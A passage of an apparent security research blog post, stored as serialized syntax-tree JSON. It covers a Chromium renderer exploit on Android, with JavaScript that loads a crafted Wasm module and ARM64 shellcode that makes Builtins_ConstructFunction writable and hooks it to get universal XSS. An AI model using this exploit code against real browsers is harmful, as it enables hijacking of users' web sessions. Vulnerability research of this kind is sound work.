g":90,"props":140479,"children":140480},{"style":349},[140481],{"type":29,"value":136420},{"type":24,"tag":90,"props":140483,"children":140484},{"style":114},[140485],{"type":29,"value":133},{"type":24,"tag":90,"props":140487,"children":140488},{"style":349},[140489],{"type":29,"value":140490},"35",{"type":24,"tag":90,"props":140492,"children":140493},{"style":114},[140494],{"type":29,"value":133},{"type":24,"tag":90,"props":140496,"children":140497},{"style":349},[140498],{"type":29,"value":3817},{"type":24,"tag":90,"props":140500,"children":140501},{"style":114},[140502],{"type":29,"value":748},{"type":24,"tag":90,"props":140504,"children":140505},{"class":92,"line":437},[140506,140511,140515,140520,140524,140529,140533,140538,140542,140547,140551,140556,140560,140565,140569,140573,140577,140581,140585,140589,140593,140597,140601,140605,140609,140614,140618,140623,140627,140631,140635,140639,140643,140647,140651,140655,140659,140663,140667,140672,140676,140681],{"type":24,"tag":90,"props":140507,"children":140508},{"style":349},[140509],{"type":29,"value":140510}," 213",{"type":24,"tag":90,"props":140512,"children":140513},{"style":114},[140514],{"type":29,"value":133},{"type":24,"tag":90,"props":140516,"children":140517},{"style":349},[140518],{"type":29,"value":140519},"231",{"type":24,"tag":90,"props":140521,"children":140522},{"style":114},[140523],{"type":29,"value":133},{"type":24,"tag":90,"props":140525,"children":140526},{"style":349},[140527],{"type":29,"value":140528},"67",{"type":24,"tag":90,"props":140530,"children":140531},{"style":114},[140532],{"type":29,"value":133},{"type":24,"tag":90,"props":140534,"children":140535},{"style":349},[140536],{"type":29,"value":140537},"190",{"type":24,"tag":90,"props":140539,"children":140540},{"style":114},[140541],{"type":29,"value":133},{"type":24,"tag":90,"props":140543,"children":140544},{"style":349},[140545],{"type":29,"value":140546},"169",{"type":24,"tag":90,"props":140548,"children":140549},{"style":114},[140550],{"type":29,"value":133},{"type":24,"tag":90,"props":140552,"children":140553},{"style":349},[140554],{"type":29,"value":140555},"253",{"type":24,"tag":90,"props":140557,"children":140558},{"style":114},[140559],{"type":29,"value":133},{"type":24,"tag":90,"props":140561,"children":140562},{"style":349},[140563],{"type":29,"value":140564},"123",{"type":24,"tag":90,"props":140566,"children":140567},{"style":114},[140568],{"type":29,"value":133},{"type":24,"tag":90,"props":140570,"children":140571},{"style":349},[140572],{"type":29,"value":534},{"type":24,"tag":90,"props":140574,"children":140575},{"style":114},[140576],{"type":29,"value":133},{"type":24,"tag":90,"props":140578,"children":140579},{"style":349},[140580],{"type":29,"value":140546},{"type":24,"tag":90,"props":140582,"children":140583},{"style":114},[140584],{"type":29,"value":133},{"type":24,"tag":90,"props":140586,"children":140587},{"style":349},[140588],{"type":29,"value":140555},{"type":24,"tag":90,"props":140590,"children":140591},{"style":114},[140592],{"type":29,"value":133},{"type":24,"tag":90,"props":140594,"children":140595},{"style":349},[140596],{"type":29,"value":140528},{"type":24,"tag":90,"props":140598,"children":140599},{"style":114},[140600],{"type":29,"value":133},{"type":24,"tag":90,"props":140602,"children":140603},{"style":349},[140604],{"type":29,"value":6408},{"type":24,"tag":90,"props":140606,"children":140607},{"style":114},[140608],{"type":29,"value":133},{"type":24,"tag":90,"props":140610,"children":140611},{"style":349},[140612],{"type":29,"value":140613},"145",{"type":24,"tag":90,"props":140615,"children":140616},{"style":114},[140617],{"type":29,"value":133},{"type":24,"tag":90,"props":140619,"children":140620},{"style":349},[140621],{"type":29,"value":140622},"191",{"type":24,"tag":90,"props":140624,"children":140625},{"style":114},[140626],{"type":29,"value":133},{"type":24,"tag":90,"props":140628,"children":140629},{"style":349},[140630],{"type":29,"value":3817},{"type":24,"tag":90,"props":140632,"children":140633},{"style":114},[140634],{"type":29,"value":133},{"type":24,"tag":90,"props":140636,"children":140637},{"style":349},[140638],{"type":29,"value":6408},{"type":24,"tag":90,"props":140640,"children":140641},{"style":114},[140642],{"type":29,"value":133},{"type":24,"tag":90,"props":140644,"children":140645},{"style":349},[140646],{"type":29,"value":140613},{"type":24,"tag":90,"props":140648,"children":140649},{"style":114},[140650],{"type":29,"value":133},{"type":24,"tag":90,"props":140652,"children":140653},{"style":349},[140654],{"type":29,"value":140555},{"type":24,"tag":90,"props":140656,"children":140657},{"style":114},[140658],{"type":29,"value":133},{"type":24,"tag":90,"props":140660,"children":140661},{"style":349},[140662],{"type":29,"value":140564},{"type":24,"tag":90,"props":140664,"children":140665},{"style":114},[140666],{"type":29,"value":133},{"type":24,"tag":90,"props":140668,"children":140669},{"style":349},[140670],{"type":29,"value":140671},"193",{"type":24,"tag":90,"props":140673,"children":140674},{"style":114},[140675],{"type":29,"value":133},{"type":24,"tag":90,"props":140677,"children":140678},{"style":349},[140679],{"type":29,"value":140680},"168",{"type":24,"tag":90,"props":140682,"children":140683},{"style":114},[140684],{"type":29,"value":748},{"type":24,"tag":90,"props":140686,"children":140687},{"class":92,"line":574},[140688,140693,140697,140701,140705,140709,140713,140717,140721,140725,140729,140733,140737,140741,140745,140750,140754,140758,140762,140766,140770,140774,140778,140782,140786,140790,140794,140798,140802,140806,140810,140814,140818,140822,140826,140830,140834,140838,140842,140846,140850,140854,140858,140862,140866,140870,140874,140878,140882,140886,140890,140894,140898,140902],{"type":24,"tag":90,"props":140689,"children":140690},{"style":349},[140691],{"type":29,"value":140692}," 255",{"type":24,"tag":90,"props":140694,"children":140695},{"style":114},[140696],{"type":29,"value":133},{"type":24,"tag":90,"props":140698,"children":140699},{"style":349},[140700],{"type":29,"value":140490},{"type":24,"tag":90,"props":140702,"children":140703},{"style":114},[140704],{"type":29,"value":133},{"type":24,"tag":90,"props":140706,"children":140707},{"style":349},[140708],{"type":29,"value":3817},{"type":24,"tag":90,"props":140710,"children":140711},{"style":114},[140712],{"type":29,"value":133},{"type":24,"tag":90,"props":140714,"children":140715},{"style":349},[140716],{"type":29,"value":140440},{"type":24,"tag":90,"props":140718,"children":140719},{"style":114},[140720],{"type":29,"value":133},{"type":24,"tag":90,"props":140722,"children":140723},{"style":349},[140724],{"type":29,"value":136375},{"type":24,"tag":90,"props":140726,"children":140727},{"style":114},[140728],{"type":29,"value":133},{"type":24,"tag":90,"props":140730,"children":140731},{"style":349},[140732],{"type":29,"value":3817},{"type":24,"tag":90,"props":140734,"children":140735},{"style":114},[140736],{"type":29,"value":133},{"type":24,"tag":90,"props":140738,"children":140739},{"style":349},[140740],{"type":29,"value":140414},{"type":24,"tag":90,"props":140742,"children":140743},{"style":114},[140744],{"type":29,"value":133},{"type":24,"tag":90,"props":140746,"children":140747},{"style":349},[140748],{"type":29,"value":140749},"214",{"type":24,"tag":90,"props":140751,"children":140752},{"style":114},[140753],{"type":29,"value":133},{"type":24,"tag":90,"props":140755,"children":140756},{"style":349},[140757],{"type":29,"value":98497},{"type":24,"tag":90,"props":140759,"children":140760},{"style":114},[140761],{"type":29,"value":133},{"type":24,"tag":90,"props":140763,"children":140764},{"style":349},[140765],{"type":29,"value":62172},{"type":24,"tag":90,"props":140767,"children":140768},{"style":114},[140769],{"type":29,"value":133},{"type":24,"tag":90,"props":140771,"children":140772},{"style":349},[140773],{"type":29,"value":3817},{"type":24,"tag":90,"props":140775,"children":140776},{"style":114},[140777],{"type":29,"value":133},{"type":24,"tag":90,"props":140779,"children":140780},{"style":349},[140781],{"type":29,"value":140440},{"type":24,"tag":90,"props":140783,"children":140784},{"style":114},[140785],{"type":29,"value":133},{"type":24,"tag":90,"props":140787,"children":140788},{"style":349},[140789],{"type":29,"value":4051},{"type":24,"tag":90,"props":140791,"children":140792},{"style":114},[140793],{"type":29,"value":133},{"type":24,"tag":90,"props":140795,"children":140796},{"style":349},[140797],{"type":29,"value":6408},{"type":24,"tag":90,"props":140799,"children":140800},{"style":114},[140801],{"type":29,"value":133},{"type":24,"tag":90,"props":140803,"children":140804},{"style":349},[140805],{"type":29,"value":6408},{"type":24,"tag":90,"props":140807,"children":140808},{"style":114},[140809],{"type":29,"value":133},{"type":24,"tag":90,"props":140811,"children":140812},{"style":349},[140813],{"type":29,"value":6408},{"type":24,"tag":90,"props":140815,"children":140816},{"style":114},[140817],{"type":29,"value":133},{"type":24,"tag":90,"props":140819,"children":140820},{"style":349},[140821],{"type":29,"value":6408},{"type":24,"tag":90,"props":140823,"children":140824},{"style":114},[140825],{"type":29,"value":133},{"type":24,"tag":90,"props":140827,"children":140828},{"style":349},[140829],{"type":29,"value":6408},{"type":24,"tag":90,"props":140831,"children":140832},{"style":114},[140833],{"type":29,"value":133},{"type":24,"tag":90,"props":140835,"children":140836},{"style":349},[140837],{"type":29,"value":6408},{"type":24,"tag":90,"props":140839,"children":140840},{"style":114},[140841],{"type":29,"value":133},{"type":24,"tag":90,"props":140843,"children":140844},{"style":349},[140845],{"type":29,"value":6408},{"type":24,"tag":90,"props":140847,"children":140848},{"style":114},[140849],{"type":29,"value":133},{"type":24,"tag":90,"props":140851,"children":140852},{"style":349},[140853],{"type":29,"value":6408},{"type":24,"tag":90,"props":140855,"children":140856},{"style":114},[140857],{"type":29,"value":133},{"type":24,"tag":90,"props":140859,"children":140860},{"style":349},[140861],{"type":29,"value":4051},{"type":24,"tag":90,"props":140863,"children":140864},{"style":114},[140865],{"type":29,"value":133},{"type":24,"tag":90,"props":140867,"children":140868},{"style":349},[140869],{"type":29,"value":6408},{"type":24,"tag":90,"props":140871,"children":140872},{"style":114},[140873],{"type":29,"value":133},{"type":24,"tag":90,"props":140875,"children":140876},{"style":349},[140877],{"type":29,"value":6408},{"type":24,"tag":90,"props":140879,"children":140880},{"style":114},[140881],{"type":29,"value":133},{"type":24,"tag":90,"props":140883,"children":140884},{"style":349},[140885],{"type":29,"value":6408},{"type":24,"tag":90,"props":140887,"children":140888},{"style":114},[140889],{"type":29,"value":133},{"type":24,"tag":90,"props":140891,"children":140892},{"style":349},[140893],{"type":29,"value":6408},{"type":24,"tag":90,"props":140895,"children":140896},{"style":114},[140897],{"type":29,"value":133},{"type":24,"tag":90,"props":140899,"children":140900},{"style":349},[140901],{"type":29,"value":6408},{"type":24,"tag":90,"props":140903,"children":140904},{"style":114},[140905],{"type":29,"value":748},{"type":24,"tag":90,"props":140907,"children":140908},{"class":92,"line":606},[140909,140913,140917,140921,140925,140929,140933,140937,140941,140945,140949,140954,140958,140963,140967,140972,140976,140980],{"type":24,"tag":90,"props":140910,"children":140911},{"style":349},[140912],{"type":29,"value":136027},{"type":24,"tag":90,"props":140914,"children":140915},{"style":114},[140916],{"type":29,"value":133},{"type":24,"tag":90,"props":140918,"children":140919},{"style":349},[140920],{"type":29,"value":6408},{"type":24,"tag":90,"props":140922,"children":140923},{"style":114},[140924],{"type":29,"value":133},{"type":24,"tag":90,"props":140926,"children":140927},{"style":349},[140928],{"type":29,"value":6408},{"type":24,"tag":90,"props":140930,"children":140931},{"style":114},[140932],{"type":29,"value":133},{"type":24,"tag":90,"props":140934,"children":140935},{"style":349},[140936],{"type":29,"value":6408},{"type":24,"tag":90,"props":140938,"children":140939},{"style":114},[140940],{"type":29,"value":133},{"type":24,"tag":90,"props":140942,"children":140943},{"style":349},[140944],{"type":29,"value":6408},{"type":24,"tag":90,"props":140946,"children":140947},{"style":114},[140948],{"type":29,"value":133},{"type":24,"tag":90,"props":140950,"children":140951},{"style":349},[140952],{"type":29,"value":140953},"92",{"type":24,"tag":90,"props":140955,"children":140956},{"style":114},[140957],{"type":29,"value":133},{"type":24,"tag":90,"props":140959,"children":140960},{"style":349},[140961],{"type":29,"value":140962},"50",{"type":24,"tag":90,"props":140964,"children":140965},{"style":114},[140966],{"type":29,"value":133},{"type":24,"tag":90,"props":140968,"children":140969},{"style":349},[140970],{"type":29,"value":140971},"162",{"type":24,"tag":90,"props":140973,"children":140974},{"style":114},[140975],{"type":29,"value":133},{"type":24,"tag":90,"props":140977,"children":140978},{"style":349},[140979],{"type":29,"value":6408},{"type":24,"tag":90,"props":140981,"children":140982},{"style":114},[140983],{"type":29,"value":748},{"type":24,"tag":90,"props":140985,"children":140986},{"class":92,"line":615},[140987],{"type":24,"tag":90,"props":140988,"children":140989},{"style":114},[140990],{"type":29,"value":136314},{"type":24,"tag":90,"props":140992,"children":140993},{"class":92,"line":623},[140994,140998,141002,141006,141010,141014,141018,141022,141026,141030,141034],{"type":24,"tag":90,"props":140995,"children":140996},{"style":97},[140997],{"type":29,"value":10233},{"type":24,"tag":90,"props":140999,"children":141000},{"style":136},[141001],{"type":29,"value":137767},{"type":24,"tag":90,"props":141003,"children":141004},{"style":120},[141005],{"type":29,"value":216},{"type":24,"tag":90,"props":141007,"children":141008},{"style":108},[141009],{"type":29,"value":137776},{"type":24,"tag":90,"props":141011,"children":141012},{"style":114},[141013],{"type":29,"value":117},{"type":24,"tag":90,"props":141015,"children":141016},{"style":136},[141017],{"type":29,"value":135645},{"type":24,"tag":90,"props":141019,"children":141020},{"style":114},[141021],{"type":29,"value":133},{"type":24,"tag":90,"props":141023,"children":141024},{"style":136},[141025],{"type":29,"value":126972},{"type":24,"tag":90,"props":141027,"children":141028},{"style":114},[141029],{"type":29,"value":226},{"type":24,"tag":90,"props":141031,"children":141032},{"style":136},[141033],{"type":29,"value":126972},{"type":24,"tag":90,"props":141035,"children":141036},{"style":114},[141037],{"type":29,"value":571},{"type":24,"tag":90,"props":141039,"children":141040},{"class":92,"line":632},[141041,141045,141049,141053,141057,141061,141065,141069,141073,141077],{"type":24,"tag":90,"props":141042,"children":141043},{"style":136},[141044],{"type":29,"value":137812},{"type":24,"tag":90,"props":141046,"children":141047},{"style":120},[141048],{"type":29,"value":216},{"type":24,"tag":90,"props":141050,"children":141051},{"style":114},[141052],{"type":29,"value":1151},{"type":24,"tag":90,"props":141054,"children":141055},{"style":636},[141056],{"type":29,"value":34730},{"type":24,"tag":90,"props":141058,"children":141059},{"style":136},[141060],{"type":29,"value":137767},{"type":24,"tag":90,"props":141062,"children":141063},{"style":114},[141064],{"type":29,"value":226},{"type":24,"tag":90,"props":141066,"children":141067},{"style":108},[141068],{"type":29,"value":59390},{"type":24,"tag":90,"props":141070,"children":141071},{"style":114},[141072],{"type":29,"value":137841},{"type":24,"tag":90,"props":141074,"children":141075},{"style":136},[141076],{"type":29,"value":40968},{"type":24,"tag":90,"props":141078,"children":141079},{"style":114},[141080],{"type":29,"value":381},{"type":24,"tag":90,"props":141082,"children":141083},{"class":92,"line":669},[141084,141088,141092,141096,141100,141105,141109,141113],{"type":24,"tag":90,"props":141085,"children":141086},{"style":136},[141087],{"type":29,"value":103774},{"type":24,"tag":90,"props":141089,"children":141090},{"style":114},[141091],{"type":29,"value":226},{"type":24,"tag":90,"props":141093,"children":141094},{"style":108},[141095],{"type":29,"value":103783},{"type":24,"tag":90,"props":141097,"children":141098},{"style":114},[141099],{"type":29,"value":117},{"type":24,"tag":90,"props":141101,"children":141102},{"style":1085},[141103],{"type":29,"value":141104},"'DeserializeWasmModule result: '",{"type":24,"tag":90,"props":141106,"children":141107},{"style":120},[141108],{"type":29,"value":1714},{"type":24,"tag":90,"props":141110,"children":141111},{"style":136},[141112],{"type":29,"value":11534},{"type":24,"tag":90,"props":141114,"children":141115},{"style":114},[141116],{"type":29,"value":571},{"type":24,"tag":90,"props":141118,"children":141119},{"class":92,"line":683},[141120,141124,141128,141132,141136,141140,141144,141148,141152,141156],{"type":24,"tag":90,"props":141121,"children":141122},{"style":97},[141123],{"type":29,"value":38004},{"type":24,"tag":90,"props":141125,"children":141126},{"style":136},[141127],{"type":29,"value":137861},{"type":24,"tag":90,"props":141129,"children":141130},{"style":120},[141131],{"type":29,"value":216},{"type":24,"tag":90,"props":141133,"children":141134},{"style":97},[141135],{"type":29,"value":33746},{"type":24,"tag":90,"props":141137,"children":141138},{"style":136},[141139],{"type":29,"value":135628},{"type":24,"tag":90,"props":141141,"children":141142},{"style":114},[141143],{"type":29,"value":226},{"type":24,"tag":90,"props":141145,"children":141146},{"style":108},[141147],{"type":29,"value":135682},{"type":24,"tag":90,"props":141149,"children":141150},{"style":114},[141151],{"type":29,"value":117},{"type":24,"tag":90,"props":141153,"children":141154},{"style":136},[141155],{"type":29,"value":11456},{"type":24,"tag":90,"props":141157,"children":141158},{"style":114},[141159],{"type":29,"value":571},{"type":24,"tag":90,"props":141161,"children":141162},{"class":92,"line":737},[141163,141167,141171,141175,141179,141183,141187,141191,141195],{"type":24,"tag":90,"props":141164,"children":141165},{"style":97},[141166],{"type":29,"value":38004},{"type":24,"tag":90,"props":141168,"children":141169},{"style":136},[141170],{"type":29,"value":34785},{"type":24,"tag":90,"props":141172,"children":141173},{"style":120},[141174],{"type":29,"value":216},{"type":24,"tag":90,"props":141176,"children":141177},{"style":136},[141178],{"type":29,"value":137861},{"type":24,"tag":90,"props":141180,"children":141181},{"style":114},[141182],{"type":29,"value":226},{"type":24,"tag":90,"props":141184,"children":141185},{"style":136},[141186],{"type":29,"value":39702},{"type":24,"tag":90,"props":141188,"children":141189},{"style":114},[141190],{"type":29,"value":226},{"type":24,"tag":90,"props":141192,"children":141193},{"style":136},[141194],{"type":29,"value":135731},{"type":24,"tag":90,"props":141196,"children":141197},{"style":114},[141198],{"type":29,"value":381},{"type":24,"tag":90,"props":141200,"children":141201},{"class":92,"line":751},[141202,141206,141210,141214,141218,141222],{"type":24,"tag":90,"props":141203,"children":141204},{"style":136},[141205],{"type":29,"value":103774},{"type":24,"tag":90,"props":141207,"children":141208},{"style":114},[141209],{"type":29,"value":226},{"type":24,"tag":90,"props":141211,"children":141212},{"style":108},[141213],{"type":29,"value":103783},{"type":24,"tag":90,"props":141215,"children":141216},{"style":114},[141217],{"type":29,"value":117},{"type":24,"tag":90,"props":141219,"children":141220},{"style":136},[141221],{"type":29,"value":34899},{"type":24,"tag":90,"props":141223,"children":141224},{"style":114},[141225],{"type":29,"value":571},{"type":24,"tag":90,"props":141227,"children":141228},{"class":92,"line":782},[141229],{"type":24,"tag":90,"props":141230,"children":141231},{"style":114},[141232],{"type":29,"value":103815},{"type":24,"tag":25,"props":141234,"children":141235},{},[141236],{"type":29,"value":141237},"And this time, it works as expected:",{"type":24,"tag":25,"props":141239,"children":141240},{},[141241],{"type":24,"tag":6301,"props":141242,"children":141245},{"alt":141243,"src":141244},"image3","/posts/mobile-renderer-rce/image3.png",[],{"type":24,"tag":1019,"props":141247,"children":141249},{"id":141248},"achieving-universal-xss",[141250],{"type":29,"value":141251},"Achieving Universal XSS",{"type":24,"tag":25,"props":141253,"children":141254},{},[141255,141257,141263,141265,141272],{"type":29,"value":141256},"At this point, we have arbitrary shellcode execution in the renderer process. While usually the exploit stops here and further access would require a browser sandbox escape, we decided to explore an alternative route known as UXSS, inspired by this ",{"type":24,"tag":69,"props":141258,"children":141261},{"href":141259,"rel":141260},"https://i.blackhat.com/Asia-24/Presentations/Asia-24-Liu-The-Hole-in-Sandbox.pdf",[73],[141262],{"type":29,"value":72159},{"type":29,"value":141264}," from Tencent Security and ",{"type":24,"tag":69,"props":141266,"children":141269},{"href":141267,"rel":141268},"https://www.interruptlabs.co.uk/articles/one-click-memory-corruption-in-alibabas-uc-browser-exploiting-patch-gap-v8-vulnerabilities-to-steal-your-data",[73],[141270],{"type":29,"value":141271},"research article",{"type":29,"value":141273}," from InterruptLabs.",{"type":24,"tag":25,"props":141275,"children":141276},{},[141277,141279,141286],{"type":29,"value":141278},"Unlike a normal XSS, a UXSS, or universal XSS, is a client side browser exploit that enables arbitrary JavaScript injection in all pages of a website. Normally, site isolation on desktop Chromium prevents this, as each site ends up in a different renderer process, but Android specifically has a ",{"type":24,"tag":69,"props":141280,"children":141283},{"href":141281,"rel":141282},"https://www.chromium.org/Home/chromium-security/site-isolation/#android",[73],[141284],{"type":29,"value":141285},"weaker version",{"type":29,"value":141287}," of this mitigation - only sites with logins and COOP headers are per process isolated. This means that the majority of webpages are in the same renderer process, so any patches to the interpreter will affect them all and lead to UXSS. This is still quite the capability!",{"type":24,"tag":25,"props":141289,"children":141290},{},[141291,141293,141299],{"type":29,"value":141292},"To achieve UXSS, we need to patch a function that’s invoked during site loading so we can run our XSS payload. During debugging, we observed that every site we visited eventually called ",{"type":24,"tag":32,"props":141294,"children":141296},{"className":141295},[],[141297],{"type":29,"value":141298},"Builtins_ConstructFunction",{"type":29,"value":141300},", making it a natural target.",{"type":24,"tag":25,"props":141302,"children":141303},{},[141304,141306,141311],{"type":29,"value":141305},"Our goal is for ",{"type":24,"tag":32,"props":141307,"children":141309},{"className":141308},[],[141310],{"type":29,"value":141298},{"type":29,"value":141312}," to execute our XSS payload first, then continue its normal behavior. To do this, we hook it as follows:",{"type":24,"tag":3207,"props":141314,"children":141315},{},[141316,141321,141331],{"type":24,"tag":3104,"props":141317,"children":141318},{},[141319],{"type":29,"value":141320},"The exploit’s shellcode patches the first few instructions to redirect execution to our mmap-ed shellcode, which runs the XSS payload",{"type":24,"tag":3104,"props":141322,"children":141323},{},[141324,141326],{"type":29,"value":141325},"After finishing, the mmap-ed shellcode restores the original instructions in ",{"type":24,"tag":32,"props":141327,"children":141329},{"className":141328},[],[141330],{"type":29,"value":141298},{"type":24,"tag":3104,"props":141332,"children":141333},{},[141334,141336,141341],{"type":29,"value":141335},"The mmap-ed shellcode then returns to the beginning of ",{"type":24,"tag":32,"props":141337,"children":141339},{"className":141338},[],[141340],{"type":29,"value":141298},{"type":29,"value":141342},", which now proceeds normally",{"type":24,"tag":25,"props":141344,"children":141345},{},[141346],{"type":29,"value":141347},"The ARM64 shellcode implementing this looks as follows:",{"type":24,"tag":80,"props":141349,"children":141353},{"code":141350,"language":141351,"meta":7,"className":141352,"style":7},"// get return addr to x0\nldr x0, [sp, #0x18]\n// strip pac signature from return address\n.arch armv8.3-a; xpaci x0\n\n// store x5 = Builtins_ConstructFunction\nmovz x1, #0x610c\nsub x0, x0, x1\nmov x5, x0\n\n// store x4 = page aligned ConstructFunction\nmovz x1, #0xf000\nmovk x1, #0xffff, lsl #16\nmovk x1, #0xffff, lsl #32\nand x4, x5, x1\n\n// mprotect page aligned ConstructFunction RWX\nmov x0, x4\nmov x1, #0x2000\nmov x2, #0x7\nmov x8, #226\nsvc #0\n\nmov x6, x5\n\n// mmap RWX for jump dest (uxss_sc)\nmov x0, #0\nmov x1, #0x1000\nmov x2, #0x7\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\nmov x5, x0\n\n// at this point:\n// x6 = Builtins_ConstructFunction\n// x5 = mmap page for uxss_sc\n\n// write uxss_sc to mmaped rwx page\n{write_sc(uxss_sc, \"x5\")}\n\n// wipe from cache\nmov x0, x5\n{WIPE_CACHE}\n\n// patch Builtins_ConstructFunction\n{write_sc(new_compile_instrs, \"x6\")}\n// and add a pointer to uxss_sc just above new instructions\nstr x5, [x6, #{5 * INSTR_SIZE}]\n\n// wipe from cache\nmov x0, x6\n{WIPE_CACHE}\n","asm","language-asm shiki shiki-themes slack-dark",[141354],{"type":24,"tag":32,"props":141355,"children":141356},{"__ignoreMap":7},[141357,141365,141373,141381,141389,141396,141404,141412,141420,141428,141435,141443,141451,141459,141467,141475,141482,141490,141498,141506,141514,141522,141530,141537,141545,141552,141560,141568,141576,141583,141591,141599,141607,141615,141622,141629,141636,141643,141651,141659,141667,141674,141682,141690,141697,141705,141713,141721,141728,141736,141744,141752,141760,141767,141774,141782],{"type":24,"tag":90,"props":141358,"children":141359},{"class":92,"line":93},[141360],{"type":24,"tag":90,"props":141361,"children":141362},{},[141363],{"type":29,"value":141364},"// get return addr to x0\n",{"type":24,"tag":90,"props":141366,"children":141367},{"class":92,"line":200},[141368],{"type":24,"tag":90,"props":141369,"children":141370},{},[141371],{"type":29,"value":141372},"ldr x0, [sp, #0x18]\n",{"type":24,"tag":90,"props":141374,"children":141375},{"class":92,"line":239},[141376],{"type":24,"tag":90,"props":141377,"children":141378},{},[141379],{"type":29,"value":141380},"// strip pac signature from return address\n",{"type":24,"tag":90,"props":141382,"children":141383},{"class":92,"line":248},[141384],{"type":24,"tag":90,"props":141385,"children":141386},{},[141387],{"type":29,"value":141388},".arch armv8.3-a; xpaci x0\n",{"type":24,"tag":90,"props":141390,"children":141391},{"class":92,"line":258},[141392],{"type":24,"tag":90,"props":141393,"children":141394},{"emptyLinePlaceholder":16},[141395],{"type":29,"value":245},{"type":24,"tag":90,"props":141397,"children":141398},{"class":92,"line":272},[141399],{"type":24,"tag":90,"props":141400,"children":141401},{},[141402],{"type":29,"value":141403},"// store x5 = Builtins_ConstructFunction\n",{"type":24,"tag":90,"props":141405,"children":141406},{"class":92,"line":281},[141407],{"type":24,"tag":90,"props":141408,"children":141409},{},[141410],{"type":29,"value":141411},"movz x1, #0x610c\n",{"type":24,"tag":90,"props":141413,"children":141414},{"class":92,"line":384},[141415],{"type":24,"tag":90,"props":141416,"children":141417},{},[141418],{"type":29,"value":141419},"sub x0, x0, x1\n",{"type":24,"tag":90,"props":141421,"children":141422},{"class":92,"line":420},[141423],{"type":24,"tag":90,"props":141424,"children":141425},{},[141426],{"type":29,"value":141427},"mov x5, x0\n",{"type":24,"tag":90,"props":141429,"children":141430},{"class":92,"line":428},[141431],{"type":24,"tag":90,"props":141432,"children":141433},{"emptyLinePlaceholder":16},[141434],{"type":29,"value":245},{"type":24,"tag":90,"props":141436,"children":141437},{"class":92,"line":437},[141438],{"type":24,"tag":90,"props":141439,"children":141440},{},[141441],{"type":29,"value":141442},"// store x4 = page aligned ConstructFunction\n",{"type":24,"tag":90,"props":141444,"children":141445},{"class":92,"line":574},[141446],{"type":24,"tag":90,"props":141447,"children":141448},{},[141449],{"type":29,"value":141450},"movz x1, #0xf000\n",{"type":24,"tag":90,"props":141452,"children":141453},{"class":92,"line":606},[141454],{"type":24,"tag":90,"props":141455,"children":141456},{},[141457],{"type":29,"value":141458},"movk x1, #0xffff, lsl #16\n",{"type":24,"tag":90,"props":141460,"children":141461},{"class":92,"line":615},[141462],{"type":24,"tag":90,"props":141463,"children":141464},{},[141465],{"type":29,"value":141466},"movk x1, #0xffff, lsl #32\n",{"type":24,"tag":90,"props":141468,"children":141469},{"class":92,"line":623},[141470],{"type":24,"tag":90,"props":141471,"children":141472},{},[141473],{"type":29,"value":141474},"and x4, x5, x1\n",{"type":24,"tag":90,"props":141476,"children":141477},{"class":92,"line":632},[141478],{"type":24,"tag":90,"props":141479,"children":141480},{"emptyLinePlaceholder":16},[141481],{"type":29,"value":245},{"type":24,"tag":90,"props":141483,"children":141484},{"class":92,"line":669},[141485],{"type":24,"tag":90,"props":141486,"children":141487},{},[141488],{"type":29,"value":141489},"// mprotect page aligned ConstructFunction RWX\n",{"type":24,"tag":90,"props":141491,"children":141492},{"class":92,"line":683},[141493],{"type":24,"tag":90,"props":141494,"children":141495},{},[141496],{"type":29,"value":141497},"mov x0, x4\n",{"type":24,"tag":90,"props":141499,"children":141500},{"class":92,"line":737},[141501],{"type":24,"tag":90,"props":141502,"children":141503},{},[141504],{"type":29,"value":141505},"mov x1, #0x2000\n",{"type":24,"tag":90,"props":141507,"children":141508},{"class":92,"line":751},[141509],{"type":24,"tag":90,"props":141510,"children":141511},{},[141512],{"type":29,"value":141513},"mov x2, #0x7\n",{"type":24,"tag":90,"props":141515,"children":141516},{"class":92,"line":782},[141517],{"type":24,"tag":90,"props":141518,"children":141519},{},[141520],{"type":29,"value":141521},"mov x8, #226\n",{"type":24,"tag":90,"props":141523,"children":141524},{"class":92,"line":791},[141525],{"type":24,"tag":90,"props":141526,"children":141527},{},[141528],{"type":29,"value":141529},"svc #0\n",{"type":24,"tag":90,"props":141531,"children":141532},{"class":92,"line":799},[141533],{"type":24,"tag":90,"props":141534,"children":141535},{"emptyLinePlaceholder":16},[141536],{"type":29,"value":245},{"type":24,"tag":90,"props":141538,"children":141539},{"class":92,"line":807},[141540],{"type":24,"tag":90,"props":141541,"children":141542},{},[141543],{"type":29,"value":141544},"mov x6, x5\n",{"type":24,"tag":90,"props":141546,"children":141547},{"class":92,"line":821},[141548],{"type":24,"tag":90,"props":141549,"children":141550},{"emptyLinePlaceholder":16},[141551],{"type":29,"value":245},{"type":24,"tag":90,"props":141553,"children":141554},{"class":92,"line":6278},[141555],{"type":24,"tag":90,"props":141556,"children":141557},{},[141558],{"type":29,"value":141559},"// mmap RWX for jump dest (uxss_sc)\n",{"type":24,"tag":90,"props":141561,"children":141562},{"class":92,"line":11420},[141563],{"type":24,"tag":90,"props":141564,"children":141565},{},[141566],{"type":29,"value":141567},"mov x0, #0\n",{"type":24,"tag":90,"props":141569,"children":141570},{"class":92,"line":11438},[141571],{"type":24,"tag":90,"props":141572,"children":141573},{},[141574],{"type":29,"value":141575},"mov x1, #0x1000\n",{"type":24,"tag":90,"props":141577,"children":141578},{"class":92,"line":11483},[141579],{"type":24,"tag":90,"props":141580,"children":141581},{},[141582],{"type":29,"value":141513},{"type":24,"tag":90,"props":141584,"children":141585},{"class":92,"line":11589},[141586],{"type":24,"tag":90,"props":141587,"children":141588},{},[141589],{"type":29,"value":141590},"mov x3, #34\n",{"type":24,"tag":90,"props":141592,"children":141593},{"class":92,"line":25306},[141594],{"type":24,"tag":90,"props":141595,"children":141596},{},[141597],{"type":29,"value":141598},"mov x4, #-1\n",{"type":24,"tag":90,"props":141600,"children":141601},{"class":92,"line":25341},[141602],{"type":24,"tag":90,"props":141603,"children":141604},{},[141605],{"type":29,"value":141606},"mov x5, #0\n",{"type":24,"tag":90,"props":141608,"children":141609},{"class":92,"line":25349},[141610],{"type":24,"tag":90,"props":141611,"children":141612},{},[141613],{"type":29,"value":141614},"mov x8, 